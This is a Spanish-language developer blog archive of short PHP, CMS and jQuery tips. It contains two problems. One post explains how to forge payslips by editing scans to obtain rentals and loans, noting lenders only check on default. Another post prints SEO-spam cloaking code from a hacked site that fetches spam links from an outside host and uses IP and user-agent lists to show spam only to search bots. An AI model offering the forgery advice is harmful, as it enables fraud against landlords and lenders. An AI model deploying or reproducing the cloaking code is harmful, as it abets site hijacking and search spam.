?php error_reporting(E_ALL); ini_set('display_errors', '1'); ?Faltan las etiquetas de inicio y final... un lío ponerlas en este cms
2013-11-03
Mostrar errores en php
2013-08-12
Necesito un titulo universitario urgente
Están proliferando los negocios de falsificación de títulos universitarios o de lo que sea. Es un delito bastante penado pero esto es España y todos nuestros gobernantes nos dan un mal ejemplo así que los ciudadanos hacen lo que pueden.
Yo mismo hace años casi falsifico un título de FP. Soy licenciado y podía dar clases a F.P. pero los empresarios al ver mi cv veían que no encajaba en el puesto. Al final no falsifiqué nada, simplemente dije en mi cv que sólo tenía el B.U.P. y así encontré trabajo enseguida.
De licenciado en una multinacional informática 900 euros, con el bup y en una empresa del metal como mantenimiento hardware 1200 euros.
De todas formas, no sólo se falsifican títulos universitarios, es muy sencillo falsificar un contrato de trabajo, una nómina... Imagina que quieres alquilar un piso y te piden 3 nóminas y tu sólo tienes dos pues ale.. escaneas y con el photoshop o el gimp les cambias las fechas.
También sirve para pedir un préstamo, Ir al decathlon o al carrrefour y que te financien tus compras... vamos que si tienes ingresos en negro y necesitas una nómina le debes pedir a tu amigo diseñador que te haga una y cuela. Sólo te investigan si dejas de pagar así que no hagas este tipo cosas si no tienes dinero. Ante la duda pregúntale al maestro YODA
2013-07-11
og:locale content=en_us
La forma de modificarlo es ir al archivo wp-config.php es posible que no tengáis definido el idioma:
define('WPLANG', '')
La forma correcta de ponerlo para españa sería: define('WPLANG', 'es_ES'); Aunque a veces me ha salido el error similar a este:
allowed memory size exhausted in pomo/mo.php
En ese caso, lo más seguro es que debáis colocar estas líneas para ampliar la capacidad de ejecutar php:
define('WP_MEMORY_LIMIT', '256M'); define('WP_MAX_MEMORY_LIMIT', '256M');
2013-03-10
2013-01-07
Quitar último caracter de un string
substr($string, 0, -1);
2012-09-04
Clase php para detectar desnudos
2012-09-03
Quitar Joomla SEO powered by JoomSEF
$cacheBuf2 = 'Jooml'. 'a SEO powered by JoomSEF'. 'div>'; y lo reemplazas por esto: $cacheBuf2 = ''; Aproximadamente está en la línea 2534 Buena suerte.
2012-08-22
Error en verifyPlatform. No se ha podido cargar el Applet. TypeError: firApplet.echo is not a function
Últimamente que entro nunca me funciona.
Ahora este error:
'Error en verifyPlatform. No se ha podido cargar el Applet. TypeError: firApplet.echo is not a function'
Al parecer tengo la versión 1,6 actualizacion 26 y la última versión es la 27
Supongo que esto me pasa por tener una distro como ubuntu de larga distribución, no la que se actualiza constantemente...
Pues eso, tengo la 10.04 LTS lucid en Ubuntu y no actualiza al java 7 Podéis seguir los pasos de este blog para actualizar a la versión 7
2012-08-13
Seo para las categorias y fabricantes de prestashop
Si queremos por ejemplo añadir un párrafo para un fabricante debemos ir a:
tema/ manufacturers.tpl
y allí
poner
{ if $manufacturers->id=5}
texto a poner
{else}
texto a colocar
{/if}
El id es el numerito que aparece en la url
2012-08-01
Traslado drupal y error 500
Al trasladar un drupal a otro servidor he tenido varios problemas. El peor un error 500 causado por el archivo .htaccess
Al parecer hay líneas que no comprendía el servidor. Si quitaba el htaccess se veía el inicio pero ninguna url más. Todas con error 404.
Estos son los pasos que he seguido:
Añadir estas líneas para forzar php5:
AddType x-mapp-php5 .php
AddHandler x-mapp-php5 .php
Comentar estas lineas:
#Options -Indexes
#Options +FollowSymLinks
( todas las de options)
descomentar # RewriteBase /
Con estos cambios la web me ha funcioando bien
Tampoco se veían muchas imágenes. He tenido que eliminar el htaccess ubicado en sites/default/files y todo solucionado.
2012-07-18
Concatenar variables en php
$texto1=”Esto es un texto“;
$texto2=”muy divertido”;
$texto3=$texto1.$texto2;
La variable texto3 será la suma de ambas variables
Si por el contrario estás en un bucle y quieres añadir texto a una cadena el resultado sería este:
$texto1=”Esto es un texto“;
$texto2=” divertido”;
$texto1.=$texto2;
2012-07-14
Enlazar una url a google street view
Vamos que si tienes una base de datos de las coordenadas puedes fácilmente generar los enlaces.
2012-06-19
Expresiones regulares con Notepad++
2012-04-22
Error al inicializar el almacén NSS unificado de Mozilla Firefox
Hacienda ha cambiado hace poco la forma de su applet de java y ahora resulta que si estás con linux sólo puedes presentar la declaración si tienes instalado firefox en la carpeta /usr/firefox. Te sale el error:
Error al inicializar el almacén NSS unificado de Mozilla Firefox
Una chapuza más que añadir a las muchas que he visto utilziando java para desarrollo de aplicaciones web.
Me han obligado a utilizar windows.
2012-03-04
5 tutoriales de jquery y CSS3
Tranciones de página con CSS3
Letras curvadas con jquery y css
Banners animados con css3
Background o imagen de fondo cambiante con css3
Formulario de contacto con jquery y css3 sin imágenes
2011-12-28
24 sitios de tests sobre usabilidad web
- A Paper and Pencil
- Concept Feedback
- Chalkmark
- Clickheat
- ClickTale
- Clixpy
- Crazy Egg
- Ethnio
- Feng-GUI
- Five Second Test
- Feedback Army
- Loop11
- Mechanical Turk
- Morae
- Open Hallway
- Silverback
- Simple Mouse Tracking
- Usabilla
- UserFly
- UserTesting.com
- UserVue
- Google Analytics
- Google Website Optimizer
- Website Grader
Más información
2011-12-12
9 técnicas de jquery para mejorar tu código
#1 – Carga jQuery framework desde Google or jquery.com
Este truco suele ser muy bueno ya que te ahorras ancho de banda y además los servidores de google suelen ser muy rápidos. El único problema es que dependes de un servidor externo. Una vez hace años google analytics dejó de funcionar y millones de páginas webs tardaban minutos en cargarse
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"
type="text/javascript"></script> O desde jquery.com:
<script src="http://code.jquery.com/jquery-latest.js"></script> #2 Saber si una imagen se ha cargado
utilizando el.load() metódo con “img”
$('#myImage').attr('src', 'image.jpg').load(function() {
alert('Image Loaded');
//perform action that is dependant of image being fully loaded
}); #3 Alineación Vertical
Si necesitas un elemento central jQuery nos será muy útil. Su uso es muy sencillo, como todo lo que necesita hacer es agregar la verticalcenter class al objeto que quiere centrar en el documento. .
<div onclick="var doc_height = $(document).height();
var el_height = $('.verticalcenter').height();
$('.verticalcenter').css({'position' : 'relative' , 'top' :
doc_height/2 - el_height/2});">Do it</div>
<div id="test2" class="verticalcenter">TESTER</div>; #4 Reemplazar un con jQuery
$('#targetdiv').replaceWith('<div>going to be inserted!</div>'); #5 Regular Expressions y jQuery
Puede llevar a cabo acciones bastante potentes con el texto mediante el uso de expresiones regulares Regex. Regex apoyo jQuery de manera sencilla. Aquí hay un ejemplo donde se elimina la palabra "prueba" de texto en un elemento de la página.
<div onclick="var element = $('#test2'); element.html(element.html().replace(/\s+test/gi, ''));">Do it</div>
<div id="test2">Remove it: test</div> #6 Abriendo links en una nueva ventanapor medio de una class o atributo
Esta técnica jQuery es una manera simple y rápida de hacer todos los enlaces externos se abren en una nueva ventana. Es necesario agregar el atributo rel = "externo" a enlaces externos.
Otra ventaja de este truco es que target = "blank" atributo no es válido XHTML 1.0 Strict. Si usted está usando el siguiente código, se puede conseguir la misma funcionalidad sin tener problemas de validación.
$("a[@rel~='external']").click( function() {
window.open( $(this).attr('href') );
return false;
}); Another way to control this and taking it a bit further by setting window size is shown below. Use the code by setting a class “popupwindow” on a link.
$('a.popupwindow').live('click', function(){
newwindow=window.open($(this).attr('href'),'','height=220,width=170');
if (window.focus) {newwindow.focus()}
return false;
}); Otra forma de controlar esto y tomar un poco más por ajuste de tamaño de la ventana se muestra a continuación. Utilice el código mediante el establecimiento de una clase "popupwindow" en un enlace.
jQuery('a.newTab').live('click', function(){
newwindow=window.open($(this).href);
jQuery(this).target = "_blank";
return false;
}); #7 Verificar si un Element está vacio
Esta es una manera simple de probar en jQuery, si un elemento está vacío. El código se imprime "Sí (?)" En un cuadro de alerta, porque div # prueba es lo más vacío que puede ser.
<div onclick="alert($('#test').html() ? 'Certainly not' : 'Yes (?)');">Test it: Is target element empty?</div>
<div id="test"/> #8 Número de elementos que retorna un selector
Muy simple:
$('targetelement').size(); #9 Desahabilitar click-derecho en el menú contextual
En tres líneas hecho:
$(document).ready(function(){
$(document).bind("contextmenu",function(e){
return false;
});
}); Esto es una torpe traducción.
2011-12-11
No mostrar errores en php
Colocando esta simple línea de código nos evitamos que s vean los errores:
error_reporting(0);
Lo ideal, claro está, sería que nuestro código tuviera un buen manejo de los errores. Pero muchas veces se requieren las cosas con tanto prisa que nos resulta imposible programar las excepciones.
2011-12-07
Código de hackeo Cloaking
El caso es que el archivo detecta cualquier tipo de robot y le muestra texto de viagra si eres un humano ves la página web.
$ff_basefile = "/home/xxxx/xxxxx.com/wymeditor/plugins/tidy/jquery/test.com.txt";
$ff_logname = "/home/xxxxxx/xxxxx.com/wymeditor/plugins/tidy/jquery/_log.txt";
$ff_url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$ff_url_md5 = md5($ff_url);
$ff_outlink_file = "http://www.flopex.com/889xsc/links.txt";
$ff_outlinks_count = 10; // count
$ff_outlinks_separator = " |"; // separator
$ff_links_count = 5; // + / - count
$ff_show_links = 1; // 0 - disabled, 1 - enabled
$ff_datetime = date("j F Y : H i s");
$ff_server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
$ff_server_referer = @$_SERVER['HTTP_REFERER'];
$ff_server_host = @$_SERVER['HTTP_HOST'];
$ff_server_remote_addr = @$_SERVER['REMOTE_ADDR'];
$ff_server_query_string = @$_SERVER['QUERY_STRING'];
$ff_server_signature = @$_SERVER['SERVER_SIGNATURE'];
$ff_server_request = @$_SERVER['REQUEST_URI'];
$ff_server_ip = @$_SERVER['REMOTE_ADDR'];
$ff_said = @$_SERVER['HTTP_HOST'];
function detectBot($ff_server_user_agent, $ff_server_query_string, $ff_server_referer, $ff_server_ip) {
$stop_ips_masks = array(
"128\.177\.243\.[0-9]+",
"128\.177\.244\.(86|87|88|89|90|91|92|93|94|95|96|97|98|99|100)$",
"141\.185\.209\.[0-9]+",
"169\.207\.238\.[0-9]+",
"194\.112\.94\.(250|251|252)$",
"194\.201\.146\.(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24)$",
"194\.221\.84\.(11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41)$",
"194\.51\.33\.72",
"199\.177\.18\.9",
"202\.160\.178\.[0-9]+",
"202\.160\.179\.[0-9]+",
"202\.160\.180\.[0-9]+",
"202\.160\.181\.[0-9]+",
"202\.160\.183\.(182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245)$",
"202\.160\.185\.174",
"202\.165\.96\.142",
"202\.165\.98\.[0-9]+",
"202\.165\.99\.[0-9]+",
"202\.212\.5\.(30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48)$",
"202\.46\.19\.93",
"203\.123\.188\.2",
"203\.141\.52\.(41|42|43|44|45|46|47)$",
"203\.255\.234\.(102|103|104|105|106)$",
"204\.123\.13\.(36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66)$",
"204\.123\.2\.[0-9]+",
"204\.123\.28\.(10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33)$",
"204\.123\.9\.[0-9]+",
"204\.152\.190\.[0-9]+",
"204\.152\.191\.[0-9]+",
"205\.229\.83\.18",
"206\.190\.43\.(81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125)$",
"207\.126\.239\.224",
"208\.185\.243\.148",
"208\.221\.32\.[0-9]+",
"208\.221\.35\.(200|201|202|203|204|205|206|207)$",
"209\.1\.12\.[0-9]+",
"209\.1\.13\.(101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232)$",
"209\.1\.32\.122",
"209\.1\.38\.[0-9]+",
"209\.131\.40\.[0-9]+",
"209\.131\.41\.[0-9]+",
"209\.131\.48\.[0-9]+",
"209\.131\.49\.37",
"209\.131\.50\.153",
"209\.131\.51\.166",
"209\.131\.60\.(19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171)$",
"209\.131\.62\.(107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214)$",
"209\.185\.108\.[0-9]+",
"209\.185\.122\.[0-9]+",
"209\.185\.141\.[0-9]+",
"209\.185\.143\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.191\.123\.33",
"209\.191\.64\.227",
"209\.191\.65\.[0-9]+",
"209\.191\.82\.(245|246|247|248|249|250|251|252)$",
"209\.191\.83\.[0-9]+",
"209\.247\.40\.246",
"209\.67\.206\.(126|127|128|129|130|131|132|133)$",
"209\.73\.160\.[0-9]+",
"209\.73\.162\.[0-9]+",
"209\.73\.164\.[0-9]+",
"209\.73\.174\.(250|251)$",
"209\.73\.176\.(128|129|130|131|132|133|134|135|136)$",
"209\.73\.180\.[0-9]+",
"209\.85\.238\.[0-9]+",
"211\.14\.8\.240",
"211\.169\.241\.21",
"212\.187\.213\.(171|172|173|174|175)$",
"212\.187\.226\.[0-9]+",
"212\.187\.227\.[0-9]+",
"213\.216\.143\.(37|38|39)$",
"216\.109\.121\.(70|71)$",
"216\.109\.126\.(131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161)$",
"216\.136\.233\.164",
"216\.145\.58\.219",
"216\.155\.198\.60",
"216\.155\.200\.[0-9]+",
"216\.155\.202\.(54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175)$",
"216\.155\.204\.40",
"216\.239\.193\.(71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86)$",
"216\.239\.33\.(96|97|98|99)$",
"216\.239\.37\.(98|99)$",
"216\.239\.39\.(98|99)$",
"216\.239\.41\.(96|97|98|99)$",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.(96|97|98|99)$",
"216\.239\.53\.(98|99)$",
"216\.239\.57\.(96|97|98|99)$",
"216\.239\.59\.(98|99)$",
"216\.32\.237\.(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30)$",
"216\.33\.229\.163",
"216\.39\.48\.[0-9]+",
"216\.39\.50\.[0-9]+",
"216\.39\.51\.[0-9]+",
"62\.172\.199\.(20|21|22|23|24)$",
"62\.27\.59\.245",
"63\.163\.102\.(180|181|182)$",
"64\.152\.75\.[0-9]+",
"64\.157\.137\.(219|220|221|222|223|224|225)$",
"64\.157\.138\.(103|104|105|106|107|108)$",
"64\.233\.173\.(193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251|252|253|254|255)$",
"64\.68\.80\.[0-9]+",
"64\.68\.81\.[0-9]+",
"64\.68\.82\.[0-9]+",
"64\.68\.83\.[0-9]+",
"64\.68\.84\.[0-9]+",
"64\.68\.85\.[0-9]+",
"64\.68\.86\.[0-9]+",
"64\.68\.87\.[0-9]+",
"64\.68\.88\.[0-9]+",
"64\.68\.89\.[0-9]+",
"64\.68\.90\.[0-9]+",
"64\.68\.91\.[0-9]+",
"64\.68\.92\.[0-9]+",
"64\.75\.36\.(42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80)$",
"66\.163\.170\.(157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193)$",
"66\.163\.174\.65",
"66\.17\.148\.(128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191)$",
"66\.196\.101\.[0-9]+",
"66\.196\.65\.[0-9]+",
"66\.196\.67\.[0-9]+",
"66\.196\.72\.[0-9]+",
"66\.196\.73\.[0-9]+",
"66\.196\.74\.[0-9]+",
"66\.196\.77\.[0-9]+",
"66\.196\.78\.[0-9]+",
"66\.196\.80\.[0-9]+",
"66\.196\.81\.[0-9]+",
"66\.196\.90\.[0-9]+",
"66\.196\.91\.[0-9]+",
"66\.196\.92\.[0-9]+",
"66\.196\.93\.(6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24)$",
"66\.196\.97\.[0-9]+",
"66\.196\.99\.20",
"66\.218\.65\.52",
"66\.218\.70\.[0-9]+",
"66\.228\.164\.[0-9]+",
"66\.228\.165\.[0-9]+",
"66\.228\.166\.[0-9]+",
"66\.228\.173\.[0-9]+",
"66\.228\.182\.(177|178|179|180|181|182|183|184|185|186|187|188|189|190)$",
"66\.249\.64\.[0-9]+",
"66\.249\.65\.[0-9]+",
"66\.249\.66\.[0-9]+",
"66\.249\.67\.[0-9]+",
"66\.249\.68\.[0-9]+",
"66\.249\.69\.[0-9]+",
"66\.249\.70\.[0-9]+",
"66\.249\.71\.[0-9]+",
"66\.249\.72\.[0-9]+",
"66\.249\.73\.[0-9]+",
"66\.249\.78\.[0-9]+",
"66\.249\.79\.[0-9]+",
"66\.94\.230\.(96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163)$",
"66\.94\.232\.[0-9]+",
"66\.94\.233\.[0-9]+",
"66\.94\.238\.51",
"67\.195\.115\.[0-9]+",
"67\.195\.34\.[0-9]+",
"67\.195\.37\.[0-9]+",
"67\.195\.44\.[0-9]+",
"67\.195\.45\.[0-9]+",
"67\.195\.50\.87",
"67\.195\.51\.[0-9]+",
"67\.195\.52\.[0-9]+",
"67\.195\.53\.(111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219)$",
"67\.195\.54\.[0-9]+",
"67\.195\.58\.[0-9]+",
"67\.195\.98\.[0-9]+",
"68\.142\.195\.(80|81)$",
"68\.142\.203\.133",
"68\.142\.211\.69",
"68\.142\.212\.197",
"68\.142\.230\.[0-9]+",
"68\.142\.231\.49",
"68\.142\.240\.106",
"68\.142\.246\.[0-9]+",
"68\.142\.249\.[0-9]+",
"68\.142\.250\.[0-9]+",
"68\.142\.251\.[0-9]+",
"68\.180\.216\.111",
"68\.180\.250\.[0-9]+",
"68\.180\.251\.[0-9]+",
"69\.147\.79\.(131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173)$",
"72\.14\.199\.[0-9]+",
"72\.30\.101\.[0-9]+",
"72\.30\.102\.[0-9]+",
"72\.30\.103\.[0-9]+",
"72\.30\.104\.[0-9]+",
"72\.30\.107\.[0-9]+",
"72\.30\.110\.[0-9]+",
"72\.30\.111\.[0-9]+",
"72\.30\.124\.(128|129|130|131|132|133|134)$",
"72\.30\.128\.[0-9]+",
"72\.30\.129\.[0-9]+",
"72\.30\.131\.[0-9]+",
"72\.30\.132\.[0-9]+",
"72\.30\.133\.[0-9]+",
"72\.30\.134\.[0-9]+",
"72\.30\.135\.[0-9]+",
"72\.30\.142\.[0-9]+",
"72\.30\.161\.[0-9]+",
"72\.30\.177\.[0-9]+",
"72\.30\.179\.[0-9]+",
"72\.30\.213\.101",
"72\.30\.214\.[0-9]+",
"72\.30\.215\.[0-9]+",
"72\.30\.216\.[0-9]+",
"72\.30\.221\.[0-9]+",
"72\.30\.226\.[0-9]+",
"72\.30\.252\.[0-9]+",
"72\.30\.54\.[0-9]+",
"72\.30\.56\.[0-9]+",
"72\.30\.60\.[0-9]+",
"72\.30\.61\.[0-9]+",
"72\.30\.65\.[0-9]+",
"72\.30\.78\.[0-9]+",
"72\.30\.79\.[0-9]+",
"72\.30\.81\.[0-9]+",
"72\.30\.87\.[0-9]+",
"72\.30\.9\.[0-9]+",
"72\.30\.97\.[0-9]+",
"72\.30\.98\.[0-9]+",
"72\.30\.99\.[0-9]+",
"74\.6\.11\.[0-9]+",
"74\.6\.12\.[0-9]+",
"74\.6\.13\.[0-9]+",
"74\.6\.131\.[0-9]+",
"74\.6\.16\.[0-9]+",
"74\.6\.17\.[0-9]+",
"74\.6\.18\.[0-9]+",
"74\.6\.19\.[0-9]+",
"74\.6\.20\.[0-9]+",
"74\.6\.21\.[0-9]+",
"74\.6\.22\.[0-9]+",
"74\.6\.23\.[0-9]+",
"74\.6\.24\.[0-9]+",
"74\.6\.240\.[0-9]+",
"74\.6\.25\.[0-9]+",
"74\.6\.26\.[0-9]+",
"74\.6\.27\.[0-9]+",
"74\.6\.28\.[0-9]+",
"74\.6\.29\.[0-9]+",
"74\.6\.30\.[0-9]+",
"74\.6\.31\.[0-9]+",
"74\.6\.65\.[0-9]+",
"74\.6\.66\.[0-9]+",
"74\.6\.67\.[0-9]+",
"74\.6\.68\.[0-9]+",
"74\.6\.69\.[0-9]+",
"74\.6\.7\.[0-9]+",
"74\.6\.70\.[0-9]+",
"74\.6\.71\.[0-9]+",
"74\.6\.72\.[0-9]+",
"74\.6\.73\.[0-9]+",
"74\.6\.74\.[0-9]+",
"74\.6\.75\.[0-9]+",
"74\.6\.76\.[0-9]+",
"74\.6\.79\.[0-9]+",
"74\.6\.8\.[0-9]+",
"74\.6\.85\.[0-9]+",
"74\.6\.86\.[0-9]+",
"74\.6\.87\.[0-9]+",
"74\.6\.9\.[0-9]+",
"8\.6\.48\.[0-9]+",
"198\.3\.103\.[0-9]+",
"199\.172\.148\.(11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105)$",
"199\.172\.149\.[0-9]+",
"199\.172\.152\.[0-9]+",
"199\.172\.153\.(174|175|176|177|178)$",
"199\.172\.156\.(168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219)$",
"199\.172\.157\.28",
"204\.62\.245\.[0-9]+",
"195\.145\.119\.(24|25)$",
"198\.5\.208\.[0-9]+",
"198\.5\.210\.[0-9]+",
"202\.33\.250\.(146|147|148|149|150|151|152|153|154)$",
"204\.162\.96\.[0-9]+",
"204\.162\.97\.[0-9]+",
"204\.162\.98\.[0-9]+",
"204\.202\.132\.19",
"205\.226\.201\.[0-9]+",
"205\.226\.203\.(35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186)$",
"205\.226\.204\.238",
"206\.3\.30\.(196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251)$",
"210\.148\.160\.(157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206)$",
"210\.155\.157\.[0-9]+",
"210\.155\.159\.[0-9]+",
"210\.236\.233\.(130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161)$",
"211\.13\.222\.230",
"211\.18\.214\.194",
"212\.185\.44\.(10|11|12|13|14|15)$",
"166\.48\.225\.254",
"202\.232\.118\.(40|41|42|43|44|45|46|47|48|49|50|51)$",
"206\.79\.171\.[0-9]+",
"207\.77\.90\.[0-9]+",
"207\.77\.91\.184",
"208\.146\.26\.[0-9]+",
"208\.146\.27\.(57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124)$",
"209\.202\.192\.[0-9]+",
"209\.202\.193\.[0-9]+",
"209\.202\.194\.(237|238)$",
"209\.202\.205\.1",
"209\.202\.240\.(8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109)$",
"209\.202\.248\.(211|212|213|214)$",
"209\.67\.228\.[0-9]+",
"209\.67\.229\.[0-9]+",
"211\.51\.63\.4",
"213\.193\.19\.35",
"64\.89\.33\.[0-9]+",
"195\.228\.240\.177",
"204\.166\.111\.29",
"205\.181\.75\.(60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130)$",
"208\.219\.77\.[0-9]+",
"216\.34\.102\.[0-9]+",
"216\.34\.109\.(190|191|192)$",
"64\.95\.79\.(40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195)$",
"127\.0\.0\.1",
);
$stop_agents_masks = array(
"http",
"google",
"slurp",
"msnbot",
"Googlebot",
"Mediapartners",
"Yahoo",
"bot",
"crawl",
"spider",
"robot",
"HttpClient",
"curl",
"PHP",
"Indy Library",
"WordPress",
"Charlotte",
"wwwster",
"Python",
"urllib",
"perl",
"libwww",
"lynx",
"Twiceler",
"rambler",
"yandex",
);
$is_human = true;
foreach ($stop_ips_masks as $stop_ip_mask) {
if(eregi($stop_ip_mask, $ff_server_ip)) {
$is_human = false;
break;
}
}
if ($is_human) {
foreach ($stop_agents_masks as $stop_agents_mask) {
if (eregi($stop_agents_mask, @$ff_server_user_agent) !== false) {
$is_human = false;
break;
}
}
}
